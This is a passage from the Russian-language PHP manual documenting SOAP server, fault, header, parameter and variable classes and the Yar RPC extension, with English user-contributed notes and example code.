       ", column: ".xml_get_current_column_number($parser));
}
?>
prenaud at profideo dot com 09-Jan-2012 02:23
Please note that when defining several services in one wsdl file, and calling one of those services, you may always get the response for your first service.

This is a known bug. You will find its description and some workarounds here  : https://bugs.php.net/bug.php?id=49169
Artur Graniszewski 15-Nov-2009 10:19
Be aware that SoapServer::handle(); method sends additional HTTP headers to the browser. One of them is "Content-Type: application/soap+xml". If you want to execute SOAP methods locally as a part of SoapClient::__doRequest() (see example at http://pl2.php.net/manual/en/soapclient.dorequest.php ) you may need to reset (override) this header back to "Content-Type: text/html" like so:

<?php
function Add($x,$y) {
  return $x+$y;
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('Add');
  }

  function __doRequest($request, $location, $action, $version) {
    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();
    return $response;
  }

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
                                   'uri'=>'http://testuri.org'));

header("Content-Type: text/html");

var_dump($x->Add(3,4));

?>
tom at backslashinteractive dot com 03-Oct-2008 10:54
In response to Blizzke:

Sometimes this problem can be hidden by an Apache segmentation fault along with an HTTP headers error SoapFault thrown to the client.

If you get either of those 2, try checking to make sure that style="rpc" in your WSDL file's soap:operation's.

-T
Blizzke at gmail dot com 12-Mar-2008 04:39
Seems pretty logical once you find the solution, but it took me quite a while to figure this one out:
If you are using WSDL based SOAP requests and you have more than one operation in your binding (with the same parameters), make sure the <soap:operation> style is set to rpc, NOT body!

When you specify 'body' here, all that will be transmitted in the request is the parameters for the function call, and SoapServer->handle() will use the first function it finds with the same parameter-makeup to handle the call.

ie If you have 2 functions:
<?php
function One ( string $blah );
function Two ( string $blah );
?>
Making a client call with SoapClient -> Two ( 'test' ); will result in One ( ) being called when your 'type' is set to 'body'

The actual method to call will only be included in the request when your type is set to 'rpc', resulting in the expected behavior
king dot maxemilian at noos dot fr 21-Aug-2007 09:23
Sometime, it happens that PHP does not detect anything in $HTTP_RAW_POST_DATA.

To solve this problem and make it work in any case:

function soaputils_autoFindSoapRequest()    {
    global $HTTP_RAW_POST_DATA;

    if($HTTP_RAW_POST_DATA)
        return $HTTP_RAW_POST_DATA;

    $f = file("php://input");
    return implode(" ", $f);
}

$server = new SoapServer($wsdl);
$server->setClass($MyClass);

$server->handle(soaputils_autoFindSoapRequest());


Устанавливает класс, который обрабатывает SOAP-запросы

  • « SoapServer::handle
  • SoapServer::setObject »
  • PHP Manual
  • SoapServer
  • Устанавливает класс, который обрабатывает SOAP-запросы

SoapServer::setClass

(PHP 5, PHP 7, PHP 8)

SoapServer::setClass — Устанавливает класс, который обрабатывает SOAP-запросы

Описание

public SoapServer::setClass(string $class, mixed ...$args): void

Экспортирует все методы из указанного класса.

Чтобы сохранить объект для каждого последующего запроса в рамках данной PHP-сессии, можно использовать метод SoapServer::setPersistence().

Список параметров

class

Имя экспортируемого класса.

args

Эти необязательные параметры будут переданы конструктору класса при создания объекта.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • SoapServer::__construct() - Конструктор SoapServer
  • SoapServer::addFunction() - Добавляет одну или несколько функций для обработки запросов SOAP
  • SoapServer::setPersistence() - Устанавливает режим сохранения SoapServer

User Contributed Notes

funky2step at gmail dot com 25-Nov-2011 01:54
When passing arguments to the default class constructor, make sure that you don't try and use the magic __construct method because that won't work.

<?php

class MyClass
{
  function MyClass($arg1, $arg2)
  {

  }
}

// Not:

class MyClass
{
  function __construct($arg1, $arg2)
  {

  }
}

?>
christiaan at oakfox dot net 04-May-2009 04:21
You can also retrieve object properties the following way while using __autoload($class_name).

<?php

# Start Session
session_start();

# Auto Load Class as Required
function __autoload($class_name)
{
    require_once "/var/www/example/class/". $class_name. ".php";
}

//service

$_SESSION[_bogus_session_name] = unserialize($_SESSION[_bogus_session_name]);
$server = new SoapServer('service.wsdl');
$server->setClass("MyClass");
$server->setPersistence(SOAP_PERSISTENCE_SESSION);
$server->handle();
$_SESSION[_bogus_session_name] = serialize($_SESSION[_bogus_session_name])

?>
Ariz Jacinto 04-Dec-2008 04:38
If you want your SOAP client to be able to save and then retrieve the object properties, you need to set the SOAP server to be persistent by setting session.auto_start=0, invoking session_start(), and SoapServer->setPersistence(SOAP_PERSISTENCE_SESSION) in the following manner:

<?php
  //set ini
  ini_set("soap.wsdl_cache_enabled", 0);
  ini_set("session.auto_start", 0);

  //class file
  require_once('MyClass.php');

  //for persistent session
  session_start();

  //service
  $server = new SoapServer('service.wsdl');
  $server->setClass("MyClass");
  $server->setPersistence(SOAP_PERSISTENCE_SESSION);
  $server->handle();
?>


Устанавливает объект, который будет использоваться для обработки SOAP-запросов

  • « SoapServer::setClass
  • SoapServer::setPersistence »
  • PHP Manual
  • SoapServer
  • Устанавливает объект, который будет использоваться для обработки SOAP-запросов

SoapServer::setObject

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SoapServer::setObject — Устанавливает объект, который будет использоваться для обработки SOAP-запросов

Описание

public SoapServer::setObject(object $object): void

Устанавливает объект, который будет использоваться для обработки SOAP-запросов, а не только класс, как в SoapServer::setClass().

Список параметров

object

Объект для обработки запросов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • SoapServer::setClass() - Устанавливает класс, который обрабатывает SOAP-запросы

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим сохранения SoapServer

  • « SoapServer::setObject
  • SoapFault »
  • PHP Manual
  • SoapServer
  • Устанавливает режим сохранения SoapServer

SoapServer::setPersistence

(PHP 5, PHP 7, PHP 8)

SoapServer::setPersistence — Устанавливает режим сохранения SoapServer

Описание

public SoapServer::setPersistence(int $mode): void

Эта функция позволяет изменять режим сохранения объекта SoapServer между запросами. Эта функция позволяет сохранять данные между запросами используя механизм сессий PHP. Этот метод влияет только на SoapServer после экспорта функций, используя SoapServer::setClass().

Замечание:

Сохранение SOAP_PERSISTENCE_SESSION гарантирует сохранение только объектов заданного класса, но не статические данные класса. В этом случае используйте $this->bar вместо self::$bar.

Замечание:

SOAP_PERSISTENCE_SESSION сериализует данные объекта класса и сохраняет их между запросами. Для корректной работы с ресурсами (например, PDO), следует использовать магические методы __wakeup() и __sleep().

Список параметров

mode

Одна из констант SOAP_PERSISTENCE_XXX.

SOAP_PERSISTENCE_REQUEST - данные SoapServer не сохраняются между запросами. Это поведение по умолчанию любого объекта SoapServer после вызова setClass.

SOAP_PERSISTENCE_SESSION - данные SoapServer сохраняются между запросами. Это достигается путём сериализации объекта SoapServer в $_SESSION['_bogus_session_name'], следовательно необходимо вызвать session_start() перед включением этого режима.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SoapServer::setPersistence()

<?php
class MyFirstPersistentSoapServer {
private $resource; // (Такие как PDO, mysqli и т.д.)
public $myvar1;
public $myvar2;

public function __construct() {
$this->__wakeup(); // Вызываем __wakeup для пересоздания $resource
}

public function __wakeup() {
$this->resource = CodeToStartOurResourceUp();
}

public function __sleep() {
// Не сохраняем $resource здесь.
// Ошибка в этом методе приведёт к тому, что при последующей десериализации
// мы не сможем восстановить состояние объекта.
return array('myvar1','myvar2');
}
}

try {
session_start();
$server = new SoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
$server->setClass('MyFirstPersistentSoapServer');
// setPersistence НЕОБХОДИМО вызвать после setClass, поскольку setClass
// принудительно устанавливает SESSION_PERSISTENCE_REQUEST.
$server->setPersistence(SOAP_PERSISTENCE_SESSION);
$server->handle();
} catch(SoapFault $e) {
error_log("ОШИБКА SOAP: ". $e->getMessage());
}
?>

Смотрите также

  • SoapServer::setClass() - Устанавливает класс, который обрабатывает SOAP-запросы

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:25
I want to give one example for the order of commands if you want to use a class in persistence mode.

<?php
// 1. class definition or include
class UserService
{
    public function __construct() { }
}

// 2. start the session after defining or including the class!!
session_start();

// 3. instanciate the server
$server = new SoapServer(null, array("something"));

// 4. set the class to use
$server->setClass('UserService');

// 5. set persistance mode
$server->setPersistence(SOAP_PERSISTENCE_SESSION);

// 6. handle the request
$server->handle();
?>
doug dot manley at gmail dot com 30-May-2008 12:54
When using "SoapServer::setPersistence( SOAP_PERSISTENCE_SESSION )", you apparently MUST include the class that was used in "SoapServer::setClass()" BEFORE any "session_*" commands.

I found this out using "__autoload()" and a whole lot of "syslog()"; it kept failing to include the class that I was using for my soap server, but that class is ONLY ever referenced by the page itself, and even then only for the purposes of setting the class for the soap server; none of my code would ever cause it to autoload.  The problem was that I was including my session-handling code first.

If the session gets started BEFORE the page defines the class definition, then persistence CANNOT happen.

The order should be:
1. Include the class for use with the soap server.
2. Start up your session.
3. Set up your soap server.
4. Handle your soap request.
boogiebug at gmail dot com 25-Mar-2008 07:40
setPersistence works only for a single instance of service class.

To use multiple instance of services objects, you need to instantiate the classes into objects and use an undocumented SoapServer's method - setObject() to add the service object into the SoapServer object, and handle the service object persistence with $_SESSION instead.

For example:

$ServiceObjects = array()
$ServiceObjects[0] = new ServiceClass1();
$ServiceObjects[1] = new ServiceClass2();
$ServiceObjects[2] = new ServiceClass3();

$_SESSION['ServiceClass1'] = $ServiceObjects[0];
$_SESSION['ServiceClass2'] = $ServiceObjects[1];
$_SESSION['ServiceClass3'] = $ServiceObjects[2];

...

$Servers = array()
for ( $i = 0; $i < count($ServiceObjects); i++)
{
  $s = new SoapServer($wsdl);
  $s->setObject($ServiceObject[$i]);
  $Servers[] = $s;
}

...

$Server[$i]->handle()

...
jan at pinna dot nl 26-Jan-2008 03:28
I found that using both modes (SOAP_PERSISTENCE_SESSION and SOAP_PERSISTENCE_REQUEST) cannot be used simultaniously. Because it didn't work at once, I started experimenting by using different settings and as stated below in the comments, "...also use SOAP_PERSISTENCE_REQUEST to save objects between requests" led me to think it was nessecary to use both modes. Well, it might for others, be but for me it turned out a day of freaking out ;) (trying all kinds of session stuff, etc etc).
Also, if persistence doesn't work, please check if session_start() is called somewhere in the script and try not to call it twice or whatsoever: it won't work...
jared at ws-db dot com 28-Aug-2005 12:07
I had some issues getting session persistence (SOAP_PERSISTENCE_SESSION) to work. I finally got it working after setting session.auto_start=0, and then only calling session_start() in the script containing the SoapServer. Maybe this is obvious, but took me a bit to figure it out.

I only tried it with session.use_cookies=1, so if the settings above don't work for you, make sure cookies are enabled, though it may work without the need for cookies.
cperez1000 at hotmail dot com 28-May-2005 08:54
Always remember to place the "setPersistence" method before the handle method, otherwise it won't work.  It sounds obvious, but it's still a very common mistake, since no errors are shown.


Класс SoapFault

(PHP 5, PHP 7, PHP 8)

Введение

Представляет ошибку SOAP.

Обзор классов

class SoapFault extends Exception {
/* Свойства */
public string $faultstring;
public ?string $faultcode = null;
public ?string $faultcodens = null;
public ?string $faultactor = null;
public mixed $detail = null;
public ?string $_name = null;
public mixed $headerfault = null;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public __construct(
array|string|null $code,
string $string,
?string $actor = null,
mixed $details = null,
?string $name = null,
mixed $headerFault = null
)
public __toString(): string
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

_name

detail

faultactor

faultcode

faultcodens

faultstring

headerfault

Содержание

  • SoapFault::__construct — Конструктор SoapFault
  • SoapFault::__toString — Получить текстовое представление SoapFault

User Contributed Notes

fbernoldi at gmail dot com 03-Oct-2012 05:46
Hi all,

I've decided to post this since it may be helpful, I've spend a couple of days trying to do this.

In order to use wsdl's specified faults with complex types, i.e:

WSDL definitions:

(xsd:schema namespace, ns1 = target namespace)

<xsd:element name="doubleFault">
  <xsd:complexType>
    <xsd:sequence>
      <xsd:element name="detail1" type="xsd:string"/>
      <xsd:element name="detail2" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:element>

WSDL messages:

<message name="fault_specified">
    <part name="relevant_name" element="ns1:doubleFault"/>
</message>

WSDL port type:

<portType name="test">
  <operation name="operationTest">
  <input message="ns1:not_relevant_request"/>
  <output message="ns1:not_relevant_response"/>
  <fault name="FaultSpecified" message="ns1:fault_specified"/>
  ....
</portType>

You have to specify the response in the detail parameter as an array corresponding the tag names.

PHP Code:

<?php

function operationTest($request_param ...) {

    // ...
    $array_details = array("detail1" => "Explanation 1", "detail2" => "Explanation 2");

    return new SoapFault("Server", "example fault string", null, $array_details, "FaultSpecified");

}

$server = new SOAPServer("handmade.wsdl");
$server->addFunction("operationTest");
$server->handle();

?>

that should respond something like this:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://mynamespace">
   <SOAP-ENV:Body>
      <SOAP-ENV:Fault>
         <faultcode>SOAP-ENV:Server</faultcode>
         <faultstring>example fault string</faultstring>
         <detail>
            <ns1:doubleFault>
               <detail1>Explanation 1</detail1>
               <detail2>Explanation 2</detail2>
            </ns1:doubleFault>
         </detail>
      </SOAP-ENV:Fault>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I Hope it helps,
Federico.
chris AT cmbuckley DOT co DOT uk 13-May-2010 03:53
A bit more digging in ext/soap/soap.c and the set_soap_fault function reveals the other undocumented properties from the constructor:

<?php
try {
    throw new SoapFault('code', 'string', 'actor', 'detail', 'name', 'header');
} catch (Exception $ex) {
    var_dump($ex->faultcode, $ex->faultstring, $ex->faultactor, $ex->detail, $ex->_name, $ex->headerfault);
}
?>
dmitry dot koterov at gmail dot com 29-Oct-2009 02:21
You may use undocumented and invisible property $e->faultcode to access string version of $code. Because standard $e->getCode() does not work:

<?php
$e = new SoapFault("test", "msg");
var_dump($e->getCode()); // prints "0"
var_dump($e->faultcode); // prints "test"
?>

Also you may use namespaced fault codes:

<?php
$e = new SoapFault(array("namespace", "test"), "msg");
?>

- see ext/soap/soap.php, PHP_METHOD(SoapFault, SoapFault). To access the namespace, use $e->faultcodens


Конструктор SoapFault

  • « SoapFault
  • SoapFault::__toString »
  • PHP Manual
  • SoapFault
  • Конструктор SoapFault

SoapFault::__construct

(PHP 5, PHP 7, PHP 8)

SoapFault::__construct — Конструктор SoapFault

Описание

public SoapFault::__construct(
array|string|null $code,
string $string,
?string $actor = null,
mixed $details = null,
?string $name = null,
mixed $headerFault = null
)

Этот класс служит для отправки ответа на ошибку SOAP из обработчика PHP. faultcode, faultstring, faultactor и detail являются стандартными элементами ошибки SOAP.

Список параметров

faultcode

Код ошибки SoapFault.

faultstring

Сообщение об ошибке SoapFault.

faultactor

Строка идентифицирующая отправителя, вызвавшего ошибку.

detail

Детальная информация о причинах ошибки.

faultname

Может быть использовано для выбора корректной кодировки ошибки из WSDL.

headerfault

Может быть использовано во время обработки заголовка SOAP для сообщения об ошибке в заголовке ответа.

Примеры

Пример #1 Несколько примеров

<?php
function test($x)
{
return new SoapFault("Server", "Сообщение об ошибке");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

Можно использовать механизм исключений PHP для сообщения об ошибках SOAP.

Пример #2 Несколько примеров

<?php
function test($x)
{
throw new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

Смотрите также

  • SoapServer::fault() - Вынуждает SoapServer вернуть ошибку
  • is_soap_fault() - Проверяет, произошла ли ошибка при вызове SOAP

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:04
The first Parameter of the constructor, the faultcode, of SoapFault must be a string. Otherwise it will lead to an error.

<?php
throw new SoapFault(1, "Error message!"); // wrong
throw new SoapFault("1", "Error message!"); // right
?>


Получить текстовое представление SoapFault

  • « SoapFault::__construct
  • SoapHeader »
  • PHP Manual
  • SoapFault
  • Получить текстовое представление SoapFault

SoapFault::__toString

(PHP 5, PHP 7, PHP 8)

SoapFault::__toString — Получить текстовое представление SoapFault

Описание

public SoapFault::__toString(): string

Возвращает текстовое представление SoapFault.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текстовое представление SoapFault.

User Contributed Notes

There are no user contributed notes for this page.


Класс SoapHeader

(PHP 5, PHP 7, PHP 8)

Введение

Представляет заголовок SOAP.

Обзор классов

class SoapHeader {
/* Свойства */
public string $namespace;
public string $name;
public mixed $data = null;
public bool $mustUnderstand;
public string|int|null $actor;
/* Методы */
public __construct(
string $namespace,
string $name,
mixed $data = ?,
bool $mustunderstand = ?,
string $actor = ?
)
}

Свойства

actor

data

mustUnderstand

name

namespace

Содержание

  • SoapHeader::__construct — Конструктор SoapHeader

User Contributed Notes

mixmaster1413 at gmail dot com 22-Jun-2023 02:15
Something I came across that I feel should be noted here is if you come across the error "cannot be processed at the receiver, due to an addressfilter mismatch at the endpointdispatcher. check that the sender and receiver's endpointaddresses agree." and you are absolutely sure your protocols and the service URL matches, send 'To' SoapHeader.

$soapHeaders = array(
            new \SoapHeader('http://www.w3.org/2005/08/addressing', 'Action', 'your-action', true),
            new \SoapHeader('http://www.w3.org/2005/08/addressing', 'To', 'your-service-endpoint-url')
        );
        $soapClient->__setSoapHeaders($soapHeaders);
ericvaneldik at gmail dot com 08-Apr-2019 07:16
If you want to create an soap header wihtout namespace and without an item key value setup, you can use SoapVar

To get this:
<SOAP-ENV:Header>
    <IdentityHeader>
      <SessionID>123456789</SessionID>
    </IdentityHeader>
  </SOAP-ENV:Header>

you can use this php code:
<?php
$headerVar = new SoapVar('<IdentityHeader><SessionID>123456789</SessionID></IdentityHeader>',
      XSD_ANYXML);
$header = new SoapHeader('http://tempuri.org/','RequestParams',
      $headerVar);
?>
abdul dot rashid at paytabs dot co 13-Mar-2016 10:06
Just to add some note regarding his john at jtresponse dot co dot uk

In PHP you can try following code to avoid the <item><key/>

$Auth = new stdClass();
$Auth->SystemId = "DATA";
$Auth->UserName = "USERNAME";
$Auth->Password = "PASSWORD";

$header = new SoapHeader('NAMESPACE','Auth',$Auth,false);
$soapClient->__setSoapHeaders($header);

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId>DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>
voroks at logics dot net dot au 03-Jul-2015 12:43
Example by john at jtresponse dot co dot uk does miss one important point: to be able to add attributes they must be mentioned in WSDL. If they not exist in WSDL they WILL NOT appear as attributes but rather <item><key/><value/></item> elements.
john at jtresponse dot co dot uk 13-Mar-2012 01:30
None of the examples really do it for me.
Note: you should NOT need to hard-code any XML.

Here is an example of creating a nested header and including a parameter.

$client = new SoapClient(WSDL,array());

$auth = array(
        'UserName'=>'USERNAME',
        'Password'=>'PASSWORD',
        'SystemId'=> array('_'=>'DATA','Param'=>'PARAM'),
        );
  $header = new SoapHeader('NAMESPACE','Auth',$auth,false);
  $client->__setSoapHeaders($header);

Gives the following header XML:

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId Param="PARAM">DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>


Конструктор SoapHeader

  • « SoapHeader
  • SoapParam »
  • PHP Manual
  • SoapHeader
  • Конструктор SoapHeader

SoapHeader::__construct

(PHP 5, PHP 7, PHP 8)

SoapHeader::__construct — Конструктор SoapHeader

Описание

public SoapHeader::__construct(
string $namespace,
string $name,
mixed $data = ?,
bool $mustunderstand = ?,
string $actor = ?
)

Создаёт новый объект SoapHeader.

Список параметров

namespace

Пространство имён для элемента заголовка SOAP.

name

Имя объекта SoapHeader.

data

Содержимое заголовка SOAP. Может быть как значением PHP, так и объектом SoapVar.

mustUnderstand

Значение атрибута mustUnderstand элемента заголовка SOAP.

actor

Значение атрибута actor элемента заголовка SOAP.

Примеры

Пример #1 Пример использования SoapHeader::SoapHeader()

<?php
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->__soapCall("echoVoid", null, null,
new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world'));
?>

Смотрите также

  • SoapClient::__soapCall() - Вызывает SOAP-функцию
  • SoapVar::SoapVar()
  • SoapParam::SoapParam()
  • SoapServer::addSoapHeader() - Добавить заголовок SOAP в ответ

User Contributed Notes

There are no user contributed notes for this page.


Класс SoapParam

(PHP 5, PHP 7, PHP 8)

Введение

Представляет параметры для вызова SOAP.

Обзор классов

class SoapParam {
/* Свойства */
public string $param_name;
public mixed $param_data;
/* Методы */
public __construct(mixed $data, string $name)
}

Свойства

param_data

param_name

Содержание

  • SoapParam::__construct — Конструктор SoapParam

User Contributed Notes

There are no user contributed notes for this page.


Конструктор SoapParam

  • « SoapParam
  • SoapVar »
  • PHP Manual
  • SoapParam
  • Конструктор SoapParam

SoapParam::__construct

(PHP 5, PHP 7, PHP 8)

SoapParam::__construct — Конструктор SoapParam

Описание

public SoapParam::__construct(mixed $data, string $name)

Создаёт новый объект SoapParam.

Список параметров

data

Данные для передачи или возврата. Этот параметр может передаваться непосредственно как значение PHP, но в этом случае он будет называться paramN, и служба SOAP может его не понять.

name

Имя параметра.

Примеры

Пример #1 Пример использования SoapParam::SoapParam()

<?php
$client = new SoapClient(null,array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->SomeFunction(new SoapParam($a, "a"),
new SoapParam($b, "b"),
new SoapParam($c, "c"));
?>

Смотрите также

  • SoapClient::__soapCall() - Вызывает SOAP-функцию
  • SoapVar::SoapVar()

User Contributed Notes

There are no user contributed notes for this page.


Класс SoapVar

(PHP 5, PHP 7, PHP 8)

Введение

Класс, представляющий переменную или объект для использования с сервисами SOAP.

Обзор классов

class SoapVar {
/* Свойства */
public int $enc_type;
public mixed $enc_value = null;
public ?string $enc_stype = null;
public ?string $enc_ns = null;
public ?string $enc_name = null;
public ?string $enc_namens = null;
/* Методы */
public __construct(
mixed $data,
?int $encoding,
?string $typeName = null,
?string $typeNamespace = null,
?string $nodeName = null,
?string $nodeNamespace = null
)
}

Свойства

enc_name

enc_namens

enc_ns

enc_type

enc_stype

enc_value

Содержание

  • SoapVar::__construct — Конструктор SoapVar

User Contributed Notes

seth dot johnson at gmail dot com 25-Feb-2015 12:09
It is not documented and thus may be subject to change but if you need to inspect the constructed SoapVar it sets everything you pass it on public variables:

<?php
$foo = new \stdClass();
$foosoap = new \SoapVar($foo, SOAP_ENC_OBJECT, 'Foo');
var_dump($foosoap);
echo $foosoap->enc_stype;
echo get_class($foosoap->enc_value);
?>

Will output (tested in PHP 5.3.3 cli):

object(SoapVar)#2 (3) {
  ["enc_type"]=>
  int(301)
  ["enc_value"]=>
  object(stdClass)#1 (0) {
  }
  ["enc_stype"]=>
  string(3) "Foo"
}

Foo
stdClass


Конструктор SoapVar

  • « SoapVar
  • Yar »
  • PHP Manual
  • SoapVar
  • Конструктор SoapVar

SoapVar::__construct

(PHP 5, PHP 7, PHP 8)

SoapVar::__construct — Конструктор SoapVar

Описание

public SoapVar::__construct(
mixed $data,
?int $encoding,
?string $typeName = null,
?string $typeNamespace = null,
?string $nodeName = null,
?string $nodeNamespace = null
)

Создаёт новый объект SoapVar.

Список параметров

data

Данные для передачи или возврата.

encoding

Код кодировки, одна из констант XSD_....

type_name

Имя типа.

type_namespace

Пространство имён типа.

node_name

Имя узла XML.

node_namespace

Пространство имён узла XML.

Список изменений

Версия | Описание
8.0.3 | typeName, typeNamespace, nodeName и nodeNamespace теперь допускают значения null.

Примеры

Пример #1 Пример использования SoapVar::__construct()

<?php
class SOAPStruct {
function SOAPStruct($s, $i, $f)
{
$this->varString = $s;
$this->varInt = $i;
$this->varFloat = $f;
}
}
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$struct = new SOAPStruct('arg', 34, 325.325);
$soapstruct = new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPStruct", "http://soapinterop.org/xsd");
$client->echoStruct(new SoapParam($soapstruct, "inputStruct"));
?>

Смотрите также

  • SoapClient::__soapCall() - Вызывает SOAP-функцию
  • SoapParam::__construct() - Конструктор SoapParam

User Contributed Notes

There are no user contributed notes for this page.


Ещё один RPC-фреймворк

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Yar_Server — Класс Yar_Server
    • Yar_Server::__construct — Конструктор Yar_Server
    • Yar_Server::handle — Запустить сервер RPC
  • Yar_Client — Класс Yar_Client
    • Yar_Client::__call — Вызов сервиса
    • Yar_Client::__construct — Конструктор Yar_Client
    • Yar_Client::setOpt — Задаёт контекст вызова
  • Yar_Concurrent_Client — Класс Yar_Concurrent_Client
    • Yar_Concurrent_Client::call — Зарегистрировать конкурентный вызов
    • Yar_Concurrent_Client::loop — Запуск всех зарегистрированный вызовов
    • Yar_Concurrent_Client::reset — Очистить все зарегистрированные вызовы
  • Yar_Server_Exception — Класс Yar_Server_Exception
    • Yar_Server_Exception::getType — Получить тип исключения
  • Yar_Client_Exception — Класс Yar_Client_Exception
    • Yar_Client_Exception::getType — Получить тип исключения

User Contributed Notes

There are no user contributed notes for this page.


Введение

Yar - это RPC-фреймворк, нацеленный на обеспечение простого пути для общения между разными приложениями PHP. Он позволяет вызывать множество удалённых сервисов в конкурентном режиме.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Если вы хотите использовать msgpack в качестве обёртки, вам надо скомпилировать Yar таким образом ./configure --enable-msgpack

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/yar.

DLL для этого модуля PECL пока недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

liubinn_208391 at qq dot com 08-Dec-2013 05:35
Yar Concurrent Client doesn't work on Mac OS.  It is because the cURL shipped with Mac has some difference.

you can resolve that by install a new cURL, like (brew install curl).

then use :
"export DYLD_LIBRARY_PATH=/path-to-new-curl/lib:$DYLD_LIBRARY_PATH"

make the PHP use the new cURL.

of course you can also re-compile your PHP with --with-curl=/path-to-new-curl/


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Yar Опции настройки
Имя | По умолчанию | Место изменения | Список изменений
yar.packager | php | INI_SYSTEM |
yar.debug | Off | INI_ALL |
yar.connect_timeout | 1000 | INI_ALL |
yar.timeout | 5000 | INI_ALL |
yar.expose_info | On | INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

yar.packager string

может быть php, json и msgpack (требуется встроенная поддержка msgpack)

yar.debug string

yar.connect_timeout int

Время ожидания соединения в миллисекундах.

yar.timeout int

Время ожидания в миллисекундах.

yar.expose_info bool

раскрывать ли данные сервера (при доступе с помощью GET)

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

YAR_VERSION (string)
YAR_CLIENT_PROTOCOL_HTTP (int)
YAR_OPT_PACKAGER (int)
YAR_OPT_TIMEOUT (int)
YAR_OPT_CONNECT_TIMEOUT (int)
YAR_OPT_HEADER (array)
С версии 2.0.4
YAR_PACKAGER_PHP (string)
YAR_PACKAGER_JSON (string)
YAR_ERR_OKEY (int)
YAR_ERR_OUTPUT (int)
YAR_ERR_TRANSPORT (int)
YAR_ERR_REQUEST (int)
YAR_ERR_PROTOCOL (int)
YAR_ERR_PACKAGER (int)
YAR_ERR_EXCEPTION (int)

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Пример сервера Yar

<?php

/* Предположим, что это страница может быть доступна по http://example.com/operator.php */

class Operator {

/**
* Складываем два операнда
* @param interge
* @return interge
*/
public function add($a, $b) {
return $this->_add($a, $b);
}

/**
* Вычитаем
*/
public function sub($a, $b) {
return $a - $b;
}

/**
* Умножаем
*/
public function mul($a, $b) {
return $a * $b;
}

/**
* Защищённый метод
* @param interge
* @return interge
*/
protected function _add($a, $b) {
return $a + $b;
}
}

$server = new Yar_Server(new Operator());
$server->handle();
?>

Пример #2 Обращаемся к серверу из браузера (запрос GET)

Вывод приведённого примера будет похож на:

Информация о сервере Yar

Пример #3 Пример клиента Yar

<?php
$client = new yar_client("http://example.com/operator.php");

/* вызываем напрямую */
var_dump($client->add(1, 2));

/* вызываем через метод call */
var_dump($client->call("add", array(3, 2)));

/* невозможно вызвать __add */
var_dump($client->_add(1, 2));
?>

Вывод приведённого примера будет похож на:

int(3)
int(5)
PHP Fatal error:  Uncaught exception 'Yar_Server_Exception' with message 'call to api Operator::_add() failed' in *

Пример #4 Пример конкурирующих клиентов Yar

<?php
function callback($ret, $callinfo) {
echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* регистрируем асинхронные вызовы к удалённым сервисам */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "mul", array(2, 2), "callback");

/* посылаем все запросы и ждём ответа */
Yar_Concurrent_Client::loop();
?>

Вывод приведённого примера будет похож на:

mul result: 4
sub result: 1
add result: 3

User Contributed Notes

